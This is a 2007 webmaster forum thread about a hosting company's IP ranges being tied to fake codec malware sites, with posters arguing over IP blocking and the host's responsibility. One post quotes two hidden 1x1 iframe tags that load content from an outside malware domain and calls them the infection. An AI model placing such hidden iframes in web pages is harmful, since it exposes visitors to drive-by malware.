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Tempest 03-14-2007 06:44 PM
Webair getting tied to codec viruses! i.e. aff sale theft.
 
http://www.lavasoftsupport.com/index...ndpost&p=30956

You guys, i.e. Webair, should probably investigate this stuff since it looks like some people are going to start blocking some of your IP ranges.

TheSenator 03-14-2007 06:47 PM
damn.. those are some slick guys over there.

porno jew 03-14-2007 06:51 PM
i :liebe028: webair.

spacedog 03-14-2007 06:54 PM
well. no surprise there.
Webair afterall does have a shitload of adult clients

Tempest 03-14-2007 07:03 PM
Quote:
Originally Posted by spacedog (Post 12079381)
well. no surprise there.
Webair afterall does have a shitload of adult clients
Yeah... And if those IP ranges start getting blocked, the honest clients are going to be affected which is why they should investigate and deal with this so that their long term business isn't effected.

RawAlex 03-14-2007 07:05 PM
I stand by my comment yesterday...if you find ESTDOMAIN as the registrar, you should look REALLY closely at the site.

Webair should take steps to make sure they are as far away from this bullshit as possible.

TreasureBucks 03-14-2007 07:09 PM
excuse me, what does this mean?

i just checked, and some of our ip's fall into those ranges.

this is not good news.

spacedog 03-14-2007 07:11 PM
Quote:
Originally Posted by TreasureBucks (Post 12079440)
excuse me, what does this mean?

i just checked, and some of our ip's fall into those ranges.

this is not good news.
It means someone on those ips is doing the fake codec thing via their sites on webair & some people from that link are advising others to block the ips

TreasureBucks 03-14-2007 07:21 PM
Quote:
Originally Posted by spacedog (Post 12079449)
It means someone on those ips is doing the fake codec thing via their sites on webair
yea, i get that much.

I want to know why all those ip's`were listed on that forum.
Are they trying to say that at least one ip number in each of those ranges are suspect? Becuase thats not only hard to believe, but kind of irresponsible to list all them without proof that they are offending.

webair care to comment?

RawAlex 03-14-2007 07:30 PM
Quote:
Originally Posted by TreasureBucks (Post 12079440)
excuse me, what does this mean?

i just checked, and some of our ip's fall into those ranges.

this is not good news.
What it means is that you should contact webair and make sure they understand that your continued business is dependant on them not accepting and not supporting codec installers.

I got rid of one over there, but it took days to get it done, and they were VERY reluctant to do it. I don't host there, so I have no economic pull.

If you host is hosting bullshit, it is time to tell them to fix it or you will head out the door.

Tempest 03-14-2007 07:33 PM
Quote:
Originally Posted by TreasureBucks (Post 12079494)
Are they trying to say that at least one ip number in each of those ranges are suspect? Becuase thats not only hard to believe
Yes, at least 1 IP most likely and not hard to believe at all. I've found lots of various cheaters on hosts like Webair. When you're a popular host, that's the price you pay. But it also means you need to be more pro-active so that it doesn't effect your long term business. I had banned a registrar once since 90% of all domains registered with it ended up being cheaters. I noted the reason for the ban on my website. That registrar eventually found that info and contacted me about it. They were being pro-active about their reputation and that's what is needed with Webair as well.

Quote:
Originally Posted by TreasureBucks (Post 12079494)
but kind of irresponsible to list all them without proof that they are offending.
Yeah, it is somewhat irresponsible. But if you've dealt with cheaters for awhile, like galleries submissions for example, it's far easier to just block a range then to spend a lot of time looking for the needle. That time is costing you money as opposed to making it so using a chainsaw as opposed to a scapel is far easier and often far more effective.

TreasureBucks 03-14-2007 07:56 PM
i should have been more clear in what i wanted explained.

anyone can post a bunch of ip's from a host, and scream bloody murder, but all those ip's are not offending, so why post them ALL? Not to mention, without proof.

anyone can setup shop on any host and codec the shit out of people. Listing all those ip's like that is irresponsible on the posters part. Granted, he can post any thing he wishes, but with that logic, they should ban every ip out there. Targeting a host like that, and listing all those ip's as being suspect, could mean anything.

I just highly doubt that this is somkind of conspiracy on webairs part, that they would allow that many ip's to be pulling bullshit like that.


so, is it the poster trying to say that at least one ip in all those ranges are pulling bullshit, or attempt to soil webairs good rep.

Weve been with webair for many years. My pockets arent empty.

TreasureBucks 03-14-2007 08:13 PM
Quote:
Originally Posted by Tempest (Post 12079537)
But if you've dealt with cheaters for awhile, like galleries submissions for example, it's far easier to just block a range then to spend a lot of time looking for the needle.
i dont really want to be that guy, who boasts about how many years he has been in the biz but, yes, i have dealt with cheaters, ive been in the biz for over 10 years now, ive seen lots of scammers come and go. Throwing webairs name out there and listing all those ip's like that isnt cool nor is it helping the industry get rid of the problem.

Not only could it look like an attempt to soil the webair name, but it doesnt make me to happy to see someone trying to tell people to ban a range of ip's that i do biz on.

Tempest 03-14-2007 08:14 PM
Quote:
Originally Posted by TreasureBucks (Post 12079605)
I just highly doubt that this is somkind of conspiracy on webairs part, that they would allow that many ip's to be pulling bullshit like that.
I don't think anyone is saying.

Quote:
Originally Posted by TreasureBucks (Post 12079605)
so, is it the poster trying to say that at least one ip in all those ranges are pulling bullshit, or attempt to soil webairs good rep.
I believe that the poster is saying that one or more IPs in those ranges have been flagged as bad.

Take the intercage ones... I've posted "proof" on here before that one of those ranges is used by a known "crook". In fact, the owner of intercage has also been implicated (but not caught yet) as being involved with a lot of spam etc. Since I know at least one range is "bad", I'd have no qualms about blocking all the other ones without doing any investigation on my part. In the bigger scheme of things, it's not worth any of my time to dig deeper, sad but true.

My purpose of posting this info was so that Webair could be pro-active and deal with this issue from both fronts. i.e. investigate sites in those ranges to see if any are in fact installing these viruses, and also so that they could respond in that thread with their own "statement".

However. If I was a customer with webair with an IP in one of those ranges, I'd be VERY concerned that webair is getting associated with this and that those ranges could get blocked by people because of that. That was just 1 post and there could be many more out there.

That site is run by one of the adware removal tool companies and I have no idea who that person is. But that's immaterial as that post/poster is just the "messenger".

Hotrocket 03-14-2007 08:19 PM
I've got some sites within those IP ranges as well..I'll be contacting webair about this.

webair 03-14-2007 08:22 PM
Thanks for the report guys. However, you will get things accomplished faster by contacting us directly, GFY is not webair.com support =))

This instance is related to a reseller account, we will handle it acordingly. Please contact us directly in the future by emailing [email protected].

:)

RawAlex 03-14-2007 08:27 PM
Webair, would you guys be so kind as to reveal the reseller (say something like __HOST?). Also, would most of the domains involved be registered through ESTDOMAINS?

85.199.x.x is malware valley.

tehHinjew 03-14-2007 08:33 PM
ive been hit

tehHinjew 03-14-2007 08:36 PM
<iframe src='http://prevedtraf.biz/adv/167/new.php' width=1 height=1></iframe>
<iframe src='http://prevedtraf.biz/adv/new.php?adv=167' width=1 height=1></iframe>
thats the actual virus

TreasureBucks 03-14-2007 08:42 PM
Quote:
Originally Posted by Tempest (Post 12079701)
I don't think anyone is saying.


I believe that the poster is saying that one or more IPs in those ranges have been flagged as bad.

Take the intercage ones... I've posted "proof" on here before that one of those ranges is used by a known "crook". In fact, the owner of intercage has also been implicated (but not caught yet) as being involved with a lot of spam etc. Since I know at least one range is "bad", I'd have no qualms about blocking all the other ones without doing any investigation on my part. In the bigger scheme of things, it's not worth any of my time to dig deeper, sad but true.

My purpose of posting this info was so that Webair could be pro-active and deal with this issue from both fronts. i.e. investigate sites in those ranges to see if any are in fact installing these viruses, and also so that they could respond in that thread with their own "statement".

However. If I was a customer with webair with an IP in one of those ranges, I'd be VERY concerned that webair is getting associated with this and that those ranges could get blocked by people because of that. That was just 1 post and there could be many more out there.

That site is run by one of the adware removal tool companies and I have no idea who that person is. But that's immaterial as that post/poster is just the "messenger".
I know what your saying, but this isnt really a webair issue. Granted somone may have found some cockroach who rents out a box at webair, but in the fashion that this gfy thread was created over some overreactive poster, on another board, who reccomends a huge range of ip's to be banned, it looks like someone is trying to take a shot a webair, or didnt think clearly before posting.

Webair is good hosting company. The idea, that they would somehow "ALLOW" or "NOT CARE" doesnt hold any water for me. I host there and I know better. Theres no way they would want that type of activity on their servers.

DamageX 03-14-2007 08:43 PM
This is bad.

webair 03-14-2007 08:44 PM
we're on it guys give me a minute...sorry for the delay

Lanceman 03-14-2007 08:48 PM
Quote:
Originally Posted by webair (Post 12079727)
Thanks for the report guys. However, you will get things accomplished faster by contacting us directly, GFY is not webair.com support =))

This instance is related to a reseller account, we will handle it acordingly. Please contact us directly in the future by emailing [email protected].

:)
WOW one of the HUNS came out!!!!!!!

Holy shit!!!!!!!!!!!:GFYBand WOW LETS DRINK A BEER DUDE!:GFYBand

By the way not to be an ass but what are your thoughts on this matter man?

Have you been reading up lately on GFY, is that why you responded or did some close friend from here call you up from well below the wild fires?

Oh and by the way What is "Webairs" involvement at this present time?

I mean that post is about you guys right?:thumbsup

PLEASE COMMENT!

Lanceman 03-14-2007 08:57 PM
Is This True Is this about you guys down at WEBAIR?

I have found 3 address range groups which are closely connected to the fake codec websites, the first one was added to my firewall's blocked list when I found it was full of fake codec sites (and nothing else), the other 2 range groups were already on my list from quite a while back and triggered a number of time while researching the fake codec trojan (from trojan access attempts and attempting to access fake codec mirror sites). It seems like a good idea to block these ranges on any internet access you are in charge of, be sure to set your firewall [or any firewall-using device] to log any hits on this rule so that if it is hit during typical daily computer use you can investigate and report back what site/IP you found.


?:banana

Tempest 03-14-2007 09:03 PM
Quote:
Originally Posted by TreasureBucks (Post 12079808)
I know what your saying, but this isnt really a webair issue. Granted somone may have found some cockroach who rents out a box at webair, but in the fashion that this gfy thread was created over some overreactive poster, on another board, who reccomends a huge range of ip's to be banned, it looks like someone is trying to take a shot a webair, or didnt think clearly before posting.

Webair is good hosting company. The idea, that they would somehow "ALLOW" or "NOT CARE" doesnt hold any water for me. I host there and I know better. Theres no way they would want that type of activity on their servers.
I realize that you're irritated because some of your IPs are within those ranges, but you're missing the point of this entire thing.

Some asswipes are hosting with Webair. In order to protect themselves against those asswipes, some people may block IP ranges. Blocking those IP ranges will prevent honest WMs from getting traffic and will adversly effect both their business and in the end, Webairs. Thus, it IS a Webair issue that they need to deal with as those bad customers are having an adverse effect on their business.

Why are you focusing on the messenger dude. Seriously. No one is saying webair is bad, just that they have some bad cusomters that they need to weed out or it will effect honest customers.

Lanceman 03-14-2007 09:07 PM
"just that they have some bad cusomters that they need to weed out or it will effect honest customers".
Hmmmmmmmmmmmmmmmmmm,
So in eccence "WE SWIM WITH SHARKS"!

DamageX 03-14-2007 09:08 PM
Quote:
Originally Posted by Lanceman (Post 12079886)
"just that they have some bad cusomters that they need to weed out or it will effect honest customers".
Hmmmmmmmmmmmmmmmmmm,
So in eccence "WE SWIM WITH SHARKS"!
You've been doing so for ages.

Lanceman 03-14-2007 09:09 PM
P.S. oh where oh where did the webair boy go??????

Come on man you should stand up!

Lanceman 03-14-2007 09:10 PM
Quote:
Originally Posted by DamageX (Post 12079890)
You've been doing so for ages.
Good point there Mr.ASDX..

Tempest 03-14-2007 09:11 PM
Quote:
Originally Posted by Lanceman (Post 12079886)
"just that they have some bad cusomters that they need to weed out or it will effect honest customers".
Hmmmmmmmmmmmmmmmmmm,
So in eccence "WE SWIM WITH SHARKS"!
Haven't you figured that out yet? :1orglaugh Seriously. I've had a small taste of this sort of thing. If you provide a service or product that cheaters etc. can use, eventually they will and then you have to somehow fix it and respond to it as others will think you condone it or are doing it yourself or are somehow in cahoots with them etc. etc. etc.

Tempest 03-14-2007 09:12 PM
Quote:
Originally Posted by Lanceman (Post 12079895)
P.S. oh where oh where did the webair boy go??????

Come on man you should stand up!
Dude.. They've got a lot of IPs and stuff they'll have to investigate. Give them some freakin time...

DamageX 03-14-2007 09:13 PM
Quote:
Originally Posted by Tempest (Post 12079902)
Haven't you figured that out yet? :1orglaugh Seriously. I've had a small taste of this sort of thing. If you provide a service or product that cheaters etc. can use, eventually they will and then you have to somehow fix it and respond to it as others will think you condone it or are doing it yourself or are somehow in cahoots with them etc. etc. etc.
You mean like catering to spammers? :Graucho

Lanceman 03-14-2007 09:16 PM
Quote:
Originally Posted by Tempest (Post 12079904)
Dude.. They've got a lot of IPs and stuff they'll have to investigate. Give them some freakin time...
TIME..........:zzwhip

Lanceman 03-14-2007 09:17 PM
Quote:
Originally Posted by Lanceman (Post 12079915)
TIME..........:zzwhip
Bump for time.

Lanceman 03-14-2007 09:18 PM
Bump for catering to spammers!:thumbsup

Tempest 03-14-2007 09:19 PM
Quote:
Originally Posted by DamageX (Post 12079906)
You mean like catering to spammers? :Graucho
No shit...

By the way.. I know you've endorsed trafficadept... Did you see that thread about a bunch of the sites signed up there that appear to deal in cp?

DamageX 03-14-2007 09:20 PM
Quote:
Originally Posted by Tempest (Post 12079923)
No shit...

By the way.. I know you've endorsed trafficadept... Did you see that thread about a bunch of the sites signed up there that appear to deal in cp?
No, I missed it, got a link?

Lanceman 03-14-2007 09:23 PM
Quote:
Originally Posted by Tempest (Post 12079923)
No shit...

By the way.. I know you've endorsed trafficadept... Did you see that thread about a bunch of the sites signed up there that appear to deal in cp?
Ha good one at that!

Tempest 03-14-2007 09:25 PM
Quote:
Originally Posted by DamageX (Post 12079925)
No, I missed it, got a link?
The guy actually started 2 threads I think.. here's one of them

http://www.gofuckyourself.com/showthread.php?t=714031

TreasureBucks 03-14-2007 09:32 PM
Quote:
Originally Posted by Tempest (Post 12079878)
I realize that you're irritated because some of your IPs are within those ranges, but you're missing the point of this entire thing.

Some asswipes are hosting with Webair. In order to protect themselves against those asswipes, some people may block IP ranges. Blocking those IP ranges will prevent honest WMs from getting traffic and will adversly effect both their business and in the end, Webairs. Thus, it IS a Webair issue that they need to deal with as those bad customers are having an adverse effect on their business.

Why are you focusing on the messenger dude. Seriously. No one is saying webair is bad, just that they have some bad cusomters that they need to weed out or it will effect honest customers.

Im not trying to give you a hard time, by any means. Your intentions seem genuine, you have tried to make that clear.

I just think there was a more rational way of dealing with the issue then banning all those ip's, or focusing the attention on webair as a whole. i.e. the title of this thread.


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